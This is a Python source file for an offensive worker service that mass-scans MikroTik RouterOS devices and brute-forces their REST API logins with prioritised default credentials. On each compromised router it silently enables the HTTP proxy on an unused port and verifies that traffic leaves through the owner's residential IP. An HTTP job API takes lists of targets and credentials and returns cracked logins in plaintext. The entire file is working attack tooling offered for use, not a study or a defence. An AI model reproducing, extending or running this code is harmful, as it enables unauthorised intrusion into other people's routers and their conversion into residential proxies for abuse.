baseten/cf-e1bc
0
1#!/usr/bin/env python32"""RouterOS bulk crack -> proxy-enable -> residential-exit verification worker. v23 4Two-stage engine:5 Stage A (scan): probe every target cheaply, classify alive/dead.6 Stage B (stuff): credential-block tasks over ALIVE targets, dynamic queue,7 early-abort on consecutive timeouts, first-win-wins per box.8Then per win: enable /ip/proxy, verify real residential egress through it.9 10HTTP API (unchanged shape):11 GET /status JSON12 POST /job {...} {"tag","targets":[{"ip","port"}],"creds":[[u,p]|"u:p"],13 "conc":24,"scan_conc":56,"tmo":4.0,"login_tmo":3.0,14 "block":60,"maxblocks":12,"verbose":false}15 GET /results JSONL16 GET /log text ring buffer17"""18import base64, json, os, random, re, socket, ssl, threading, time19from collections import deque20from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer21from concurrent.futures import ThreadPoolExecutor, as_completed22 23MOD = "mt-crack-v3"24PORT = int(os.environ.get("PORT", "7860"))25UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126 Safari/537.36"26 27LOCK = threading.Lock()28RLCK = threading.Lock()29LOGQ = deque(maxlen=800)30RESULTS = []31MYIP = {"v": None}32 33JOB = {34 "schema": MOD, "mod": MOD, "ok": True,35 "active": False, "stage": None, "tag": None,36 "total": 0, "scanned": 0, "alive": 0, "dead": 0,37 "units_total": 0, "units_done": 0, "attempts": 0,38 "hits": 0, "proxy_enabled": 0, "verified_exit": 0,39 "started": 0, "finished": 0,40}41 42 43def log(m):44 LOGQ.append("%s %s" % (time.strftime("%H:%M:%S"), m))45 46 47class DirectDial:48 def open(self, host, port, tmo):49 return socket.create_connection((str(host), int(port)), timeout=tmo)50 51 52DIAL = DirectDial()53 54 55def raw_req(host, port, meth="GET", path="/", headers=None, body=None, tmo=6, use_ssl=False):56 hdrs = {"Host": "%s:%d" % (host, port), "User-Agent": UA, "Accept": "*/*", "Connection": "close"}57 data = b"" if body is None else (json.dumps(body).encode() if isinstance(body, (dict, list)) else str(body).encode())58 if body is not None:59 hdrs["Content-Type"] = "application/json"60 hdrs["Content-Length"] = str(len(data))61 if headers:62 hdrs.update(headers)63 wire = ("\r\n".join(["%s %s HTTP/1.1" % (meth, path)] +64 ["%s: %s" % (k, v) for k, v in hdrs.items()] + ["", ""])).encode() + data65 s = DIAL.open(host, port, tmo)66 try:67 if use_ssl:68 ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE69 s = ctx.wrap_socket(s, server_hostname=str(host)); s.settimeout(tmo)70 s.sendall(wire)71 buf = b""72 while len(buf) < 131072:73 try:74 c = s.recv(8192)75 except socket.timeout:76 break77 if not c:78 break79 buf += c80 finally:81 try:82 s.close()83 except Exception:84 pass85 head, _, bd = buf.partition(b"\r\n\r\n")86 ht = head.decode("latin1", "replace"); txt = bd.decode("utf-8", "replace")87 hs = {}88 for ln in ht.split("\r\n")[1:]:89 if ":" in ln:90 k, _, v = ln.partition(":")91 hs[k.strip().lower()] = v.strip()92 if hs.get("transfer-encoding", "").lower() == "chunked":93 parts, i = [], 094 try:95 while i < len(txt):96 j = txt.find("\r\n", i); n = int(txt[i:j].split(";")[0], 16)97 if n == 0:98 break99 parts.append(txt[j + 2:j + 2 + n]); i = j + 2 + n + 2100 txt = "".join(parts)101 except Exception:102 pass103 mm = re.match(r"HTTP/\d\.\d\s+(\d+)", ht)104 return (int(mm.group(1)) if mm else 0), hs, txt105 106 107ROS_FIELDS = ("board-name", "architecture-name", "cpu-count", "free-memory",108 "total-memory", "uptime", "build-time", "version")109 110 111def looks_like_ros(code, hs, body):112 bl = body[:900]113 if '"board-name"' in bl or "routeros" in bl.lower():114 return True115 auth = (hs.get("www-authenticate") or "").lower()116 if "routeros" in auth or "mikrotik" in auth:117 return True118 if code in (401, 403) and 'error' in bl and re.search(r'"error"\s*:\s*\d+', bl):119 return True120 srv = (hs.get("server") or "").lower()121 if "mikrotik" in srv or "routeros" in srv:122 return True123 return False124 125 126def ros_probe(host, port, tmo):127 orders = [("http", False), ("https", True)]128 if port in (443,):129 orders.reverse()130 last_err = None131 for scheme, use_ssl in orders:132 try:133 code, hs, body = raw_req(host, port, path="/rest/system/resource", tmo=tmo, use_ssl=use_ssl)134 if looks_like_ros(code, hs, body):135 return {"scheme": scheme, "first_code": code, "server": hs.get("server", "")}136 # fallback: any response at all from this port?137 if code in (200, 301, 302, 307, 308, 400, 405):138 return {"scheme": scheme, "first_code": code, "weak": True, "server": hs.get("server", "")}139 except socket.timeout:140 last_err = "timeout"141 except Exception as e:142 last_err = type(e).__name__143 return None144 145 146def get_user_group(host, port, scheme, user, pw, tmo):147 """Read the account's policy group -> tells us write capability upfront."""148 tok = base64.b64encode(("%s:%s" % (user, pw)).encode()).decode()149 H = {"Authorization": "Basic " + tok}150 us = scheme == "https"151 for path in ("/rest/system/user", "/rest/user"):152 try:153 c, h, b = raw_req(host, port, path=path, headers=H, tmo=tmo, use_ssl=us)154 if c != 200 or not b.lstrip().startswith("["):155 continue156 rows = json.loads(b)157 for r in rows:158 nm = str(r.get("name", ""))159 if nm.lower() == user.lower():160 return {"matched": True, "group": r.get("group"),161 "disabled": r.get("disabled"), "comment": r.get("comment")}162 if rows:163 return {"matched": False, "rows": [{"n": r.get("name"), "g": r.get("group")} for r in rows[:12]]}164 except Exception:165 pass166 return None167 168 169def ros_login(host, port, scheme, user, pw, tmo):170 tok = base64.b64encode(("%s:%s" % (user, pw)).encode()).decode()171 try:172 code, hs, body = raw_req(host, port, path="/rest/system/resource",173 headers={"Authorization": "Basic " + tok}, tmo=tmo, use_ssl=(scheme == "https"))174 except socket.timeout:175 return "__TIMEOUT__"176 except Exception:177 return None178 if code != 200 or not body.lstrip().startswith("{"):179 return None180 try:181 d = json.loads(body)182 except Exception:183 return None184 if not any(k in d for k in ROS_FIELDS):185 return None186 return {"resource": {k: d.get(k) for k in ROS_FIELDS},187 "caps": {k: d.get(k) for k in ("platform", "cpu-load", "factory-software")}}188 189 190BAD_WORDS = ("not enough permissions", "missing or invalid", "no such item", "invalid value", "bad request", "cannot set")191OK_STATES = ("true", "yes")192 193 194def get_proxy_cfg(host, port, H, tmo, use_ssl):195 try:196 c, h, b = raw_req(host, port, path="/rest/ip/proxy", headers=H, tmo=tmo, use_ssl=use_ssl)197 if c == 200 and b.lstrip().startswith("{"):198 return json.loads(b)199 except Exception:200 pass201 return None202 203 204def enable_proxy(host, port, scheme, user, pw, px_port, tmo):205 tok = base64.b64encode(("%s:%s" % (user, pw)).encode()).decode()206 H = {"Authorization": "Basic " + tok}207 us = scheme == "https"208 errs = []209 cfg = get_proxy_cfg(host, port, H, tmo, us) or {}210 cur_id = str(cfg.pop(".id", "*0")) if isinstance(cfg, dict) else "*0"211 for k in list(cfg.keys()):212 if str(k).startswith("."):213 cfg.pop(k)214 want = dict(cfg); want.update({"enabled": "true", "port": str(px_port)})215 esc_id = cur_id.replace("*", "%2A")216 attempts = [217 ("PATCH", "/rest/ip/proxy/" + esc_id, {"enabled": "true", "port": str(px_port)}),218 ("POST", "/rest/ip/proxy/set", {"enabled": "true", "port": str(px_port)}),219 ("PUT", "/rest/ip/proxy/" + esc_id, want),220 ("PATCH", "/rest/ip/proxy", {"enabled": "true", "port": str(px_port)}),221 ]222 for meth, path, body in attempts:223 try:224 c, h, b = raw_req(host, port, meth=meth, path=path, headers=H, body=body, tmo=tmo, use_ssl=us)225 except Exception as e:226 errs.append("%s/%s" % (meth, type(e).__name__)); continue227 bl = (b or "").lower()228 denied = any(w in bl for w in BAD_WORDS)229 if c in (200, 201, 204) and not denied:230 chk = get_proxy_cfg(host, port, H, tmo, us) or {}231 en = str(chk.get("enabled", "")).lower()232 if en in OK_STATES:233 return {"ok": True, "method": "%s %s" % (meth, path),234 "confirmed_port": str(chk.get("port", "")), "prior_enabled": str(cfg.get("enabled")),235 "errors": errs[-3:]}236 errs.append("%s rc=%s enabled=%r" % (meth, c, en))237 else:238 errs.append("%s rc=%s %s" % (meth, c, bl[:70]))239 return {"ok": False, "errors": errs[-6:], "prior_enabled": str(cfg.get("enabled"))}240 241 242PX_CANDIDATES = [18081, 18182, 18283, 18384, 19808, 18888, 17777, 16661, 14443, 19001]243 244 245def pick_px_port(host, mgmt_port, scheme, user, pw, tmo):246 reserved = set()247 try:248 tok = base64.b64encode(("%s:%s" % (user, pw)).encode()).decode()249 c, h, b = raw_req(host, mgmt_port, path="/rest/ip/service",250 headers={"Authorization": "Basic " + tok}, tmo=tmo, use_ssl=(scheme == "https"))251 if c == 200 and b.lstrip().startswith("["):252 for svc in json.loads(b):253 try:254 reserved.add(int(svc.get("port")))255 except Exception:256 pass257 except Exception:258 pass259 cands = [p for p in PX_CANDIDATES if p not in reserved and p != int(mgmt_port)]260 random.shuffle(cands)261 return cands[0] if cands else random.randint(19100, 39900)262 263 264def abs_get_via_proxy(phost, pport, url, tmo=14):265 m = re.match(r"^http://([^/]+)(/.*)?$", url)266 thost = m.group(1)267 s = DIAL.open(phost, pport, tmo)268 try:269 s.sendall(("GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n"270 % (url, thost, UA)).encode())271 out = b""272 while len(out) < 16384:273 try:274 c = s.recv(1024)275 except socket.timeout:276 break277 if not c:278 break279 out += c280 finally:281 try:282 s.close()283 except Exception:284 pass285 txt = out.decode("utf-8", "replace")286 mc = re.match(r"HTTP/\d\.\d\s+(\d+)", txt)287 return (int(mc.group(1)) if mc else 0), txt.split("\r\n\r\n", 1)[-1].strip()288 289 290def verify_exit(host, px_port, tries=2):291 for _ in range(tries):292 for site in ("http://api.ipify.org/", "http://icanhazip.com/"):293 try:294 code, body = abs_get_via_proxy(host, px_port, site, tmo=14)295 ipm = re.search(r"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", body or "")296 if code == 200 and ipm:297 return ipm.group(1), site298 except Exception:299 pass300 time.sleep(1.5)301 return None, None302 303 304def my_ip():305 import urllib.request306 for u in ("http://api.extended.is/api/v1/get-my-ip", "http://api.ipify.org/", "http://ifconfig.me/ip"):307 try:308 r = urllib.request.urlopen(u, timeout=12).read().decode().strip()309 mm = re.search(r"(\d{1,3}(?:\.\d{1,3}){3})", r)310 if mm:311 return mm.group(1)312 except Exception:313 continue314 return None315 316 317CRED_HINT_USERS = ("admin", "Admin", "ADMIN", "root", "support", "operator", "manager", "netadmin", "sysadmin")318 319 320def order_creds(pairs):321 sc = []322 for u, p in pairs:323 s = 1000324 lu = u.lower()325 if lu in ("admin", "root"):326 s -= 720327 elif lu in CRED_HINT_USERS:328 s -= 380329 if p == "":330 s -= 310331 if p.lower() in ("admin", "1234", "12345", "123456", "password", "root", "master", "admin123", "12345678"):332 s -= 150333 if len(u) <= 5:334 s -= 30335 if re.fullmatch(r"[A-Za-z]{4,9}\d{0,4}", p):336 s += 75337 sc.append((s, u, p))338 sc.sort(key=lambda x: x[0])339 return [(u, p) for _, u, p in sc]340 341 342# ----------------------------------------------------------------------------343def run_job(job):344 tag = job.get("tag") or ("job-" + str(int(time.time())))345 tg = job.get("targets") or []346 conc = int(job.get("conc", 26))347 scan_conc = int(job.get("scan_conc", min(72, max(conc * 2, 40))))348 tmo = float(job.get("tmo", 4.0))349 ltmo = float(job.get("login_tmo", tmo * 0.65))350 block = int(job.get("block", 55))351 maxblocks = int(job.get("maxblocks", 22))352 verbose = bool(job.get("verbose"))353 allow_weak = bool(job.get("allow_weak", False))354 355 seen = set(); uniq = []356 for pair in (job.get("creds") or []):357 if isinstance(pair, str) and ":" in pair:358 u, _, p = pair.partition(":")359 elif isinstance(pair, (list, tuple)) and len(pair) == 2:360 u, p = pair361 else:362 continue363 if (u, p) in seen:364 continue365 seen.add((u, p)); uniq.append((u, p))366 creds = order_creds(uniq)367 368 started = time.time()369 370 def pub(**kw):371 with LOCK:372 JOB.update(kw)373 374 pub(active=True, tag=tag, total=len(tg), scanned=0, alive=0, dead=0, units_total=0, units_done=0,375 attempts=0, hits=0, proxy_enabled=0, verified_exit=0, started=started, finished=0, stage="scan")376 log("[job] %s targets=%d creds=%d conc=%d scan_conc=%d block=%d maxblocks=%d" %377 (tag, len(tg), len(creds), conc, scan_conc, block, maxblocks))378 379 # ---------------- Stage A: scan ----------------380 states = {} # key -> dict(alive,bool, abort,bool, scheme,streak)381 locked_names = {}382 383 def scan_one(i_t):384 i, t = i_t385 host, port = t["ip"], int(t["port"])386 key = "%s:%d" % (host, port)387 st = {"key": key, "i": i, "host": host, "port": port, "alive": False, "abort": False,388 "streak": 0, "scheme": None, "winner": None, "hit_recorded": False,389 "tcreds": [], "pairs": None, "skip_stuff": False}390 for pair in (t.get("creds") or []):391 if isinstance(pair, str) and ":" in pair:392 a_, _, p_ = pair.partition(":")393 st["tcreds"].append((a_, p_))394 elif isinstance(pair, (list, tuple)) and len(pair) == 2:395 st["tcreds"].append((pair[0], pair[1]))396 try:397 pr = ros_probe(host, port, tmo)398 except Exception:399 pr = None400 if pr:401 if pr.get("weak") and not allow_weak:402 st["alive"] = True403 st["skip_stuff"] = True404 with RLCK:405 RESULTS.append({"host": host, "port": port, "stage": "weak-alive", "worker_tag": tag,406 "found_at": time.strftime("%Y-%m-%dT%H:%M:%S"), "probe": pr})407 else:408 st["alive"] = True; st["scheme"] = pr["scheme"]409 with RLCK:410 RESULTS.append({"host": host, "port": port, "stage": "alive", "worker_tag": tag,411 "found_at": time.strftime("%Y-%m-%dT%H:%M:%S"), "probe": pr})412 with LOCK:413 JOB["scanned"] += 1414 if st["alive"]:415 JOB["alive"] += 1416 else:417 JOB["dead"] += 1418 states[key] = st419 return st420 421 with ThreadPoolExecutor(max_workers=scan_conc) as ex:422 for _ in as_completed([ex.submit(scan_one, it) for it in enumerate(tg)]):423 pass424 alive_list = [states[k] for k in states if states[k]["alive"]]425 # effective credential order per box: box-specific hints first, then global list426 for st in alive_list:427 seenl = set(); plist = []428 for pr2 in list(st["tcreds"]) + list(creds):429 if pr2 in seenl:430 continue431 seenl.add(pr2); plist.append(pr2)432 st["pairs"] = plist433 stuff_list = [st for st in alive_list if not st.get("skip_stuff")]434 log("[scan] done: responsive=%d strong=%d dead_or_unknown=%d" %435 (len(alive_list), len(stuff_list), len(states) - len(alive_list)))436 log("[scan] done: alive=%d dead=%d" % (len(alive_list), len(states) - len(alive_list)))437 438 # ---------------- Stage B: stuff ----------------439 if stuff_list:440 # units: slices of creds per alive target441 units = []442 for st in stuff_list:443 npairs = len(st["pairs"])444 nb = min(maxblocks, max(1, (npairs + block - 1) // block))445 for bi in range(nb):446 units.append((st, bi * block, min(npairs, (bi + 1) * block)))447 pub(stage="stuff", units_total=len(units))448 449 attempts = {"n": 0}450 done_counter = {"n": 0}451 452 def stuff_unit(un):453 st, a, b = un454 if st["abort"] or st["winner"]:455 return None456 host, port, scheme = st["host"], st["port"], st["scheme"]457 pairs_local = st["pairs"]458 for idx in range(a, b):459 if st["abort"] or st["winner"]:460 return None461 u, pw = pairs_local[idx]462 got = ros_login(host, port, scheme, u, pw, ltmo)463 with LOCK:464 attempts["n"] += 1465 if got == "__TIMEOUT__":466 st["streak"] += 1467 if st["streak"] >= 7:468 st["abort"] = True469 if verbose:470 log("[-] abort-after-timeouts %s" % st["key"])471 return None472 continue473 if got is None:474 st["streak"] = 0475 continue476 # WINNER477 ident = None478 try:479 ident = get_user_group(host, port, scheme, u, pw, ltmo)480 except Exception:481 ident = None482 st["winner"] = {"user": u, "pw": pw, "identity": ident, **got}483 rec = {"host": host, "port": port, "worker_tag": tag,484 "found_at": time.strftime("%Y-%m-%dT%H:%M:%S"),485 "login": {"user": u, "pw": pw}, "identity": ident,486 "resource": got["resource"], "stage": "hit"}487 with RLCK:488 RESULTS.append(rec)489 with LOCK:490 JOB["hits"] += 1491 log("[+] LOGIN %s %s:%s ver=%s board=%s" %492 (st["key"], u, pw, got["resource"].get("version"), got["resource"].get("board-name")))493 # ---- immediate convert + verify (do not wait for sweep end) ----494 try:495 px = pick_px_port(host, port, scheme, u, pw, ltmo)496 conv = enable_proxy(host, port, scheme, u, pw, px, ltmo)497 out = dict(rec)498 out["convert"] = {"ok": conv.get("ok"), "port": px, "method": conv.get("method"),499 "errors": conv.get("errors"), "prior_enabled": conv.get("prior_enabled")}500 if conv.get("ok"):501 with LOCK:502 JOB["proxy_enabled"] += 1503 vip, via = verify_exit(host, px)504 out["egress"] = {"ok": bool(vip), "exit_ip": vip, "via": via, "container_ip": MYIP["v"]}505 if vip:506 with LOCK:507 JOB["verified_exit"] += 1508 log("[V] EXIT VERIFIED %s:%d -> %s" % (host, px, vip))509 else:510 log("[~] proxy on no exit resp %s:%d" % (host, px))511 out["stage"] = "converted"512 else:513 log("[-] convert fail %s :: %s" % (st["key"], (conv.get("errors") or [])[-1:]))514 out["stage"] = "hit-readonly"515 with RLCK:516 RESULTS.append(out)517 except Exception as e2:518 log("[!] convert error %s %r" % (st["key"], repr(e2)[:90]))519 return st520 return None521 522 with ThreadPoolExecutor(max_workers=conc) as ex:523 futs = {ex.submit(stuff_unit, un): un for un in units}524 for fu in as_completed(futs):525 with LOCK:526 done_counter["n"] += 1527 JOB["units_done"] = done_counter["n"]528 JOB["attempts"] = attempts["n"]529 530 # conversions happen serially-ish but few winners expected; keep them parallel-lite531 wins = sum(1 for st in alive_list if st["winner"])532 log("[stuff] winners=%d" % wins)533 534 with LOCK:535 JOB.update(active=False, stage="done", finished=time.time(),536 attempts=attempts["n"] if alive_list else 0)537 el = time.time() - started538 log("[end] %s in %.1fs scanned=%d alive=%d wins=%d exits=%d" %539 (tag, el, JOB["scanned"], JOB["alive"], JOB["hits"], JOB["verified_exit"]))540 541 542class H(BaseHTTPRequestHandler):543 protocol_version = "HTTP/1.1"544 545 def _send(self, obj, ctype="application/json", code=200):546 body = obj if isinstance(obj, bytes) else json.dumps(obj).encode()547 self.send_response(code)548 self.send_header("Content-Type", ctype)549 self.send_header("Content-Length", str(len(body)))550 self.send_header("Access-Control-Allow-Origin", "*")551 self.end_headers()552 self.wfile.write(body)553 554 def do_GET(self):555 p = self.path.split("?", 1)[0]556 if p in ("/", "/status"):557 with LOCK:558 st = dict(JOB)559 st.update(my_ip=MYIP["v"], uptime=int(time.time()), stored=len(RESULTS))560 self._send(st)561 elif p == "/results":562 with RLCK:563 rows = list(RESULTS)564 fmt_json = "fmt=json" in self.path565 if fmt_json:566 self._send({"rows": rows})567 else:568 self._send(("\n".join(json.dumps(r) for r in rows) + "\n").encode(), ctype="text/plain")569 elif p == "/log":570 self._send(("\n".join(LOGQ) + "\n").encode(), ctype="text/plain")571 else:572 self._send(dict(JOB))573 574 def do_POST(self):575 p = self.path.split("?", 1)[0]576 try:577 n = int(self.headers.get("Content-Length", "0"))578 data = json.loads(self.rfile.read(n) or b"{}")579 except Exception:580 self._send({"ok": False, "err": "bad json"}, code=400); return581 if p == "/job":582 force = bool(data.get("force")) or ("force=1" in self.path)583 with LOCK:584 busy = JOB["active"]585 if busy and not force:586 self._send({**JOB, "accepted": False, "busy": True}, code=409); return587 if not data.get("targets") or not data.get("creds"):588 self._send({"ok": False, "err": "targets+creds required"}, code=400); return589 with LOCK:590 JOB.update(active=True, tag=data.get("tag"))591 threading.Thread(target=run_job, args=(data,), daemon=True).start()592 self._send({"schema": MOD, "ok": True, "accepted": True,593 "targets": len(data.get("targets") or []), "creds": len(data.get("creds") or [])})594 else:595 self._send({"ok": False, "err": "unknown"}, code=404)596 597 def log_message(self, *a):598 pass599 600 601def main():602 MYIP["v"] = my_ip()603 log("[boot] mod=%s ip=%s" % (MOD, MYIP["v"]))604 print("[serve] %s :%d" % (MOD, PORT), flush=True)605 ThreadingHTTPServer(("0.0.0.0", PORT), H).serve_forever()606 607 608if __name__ == "__main__":609 main()610 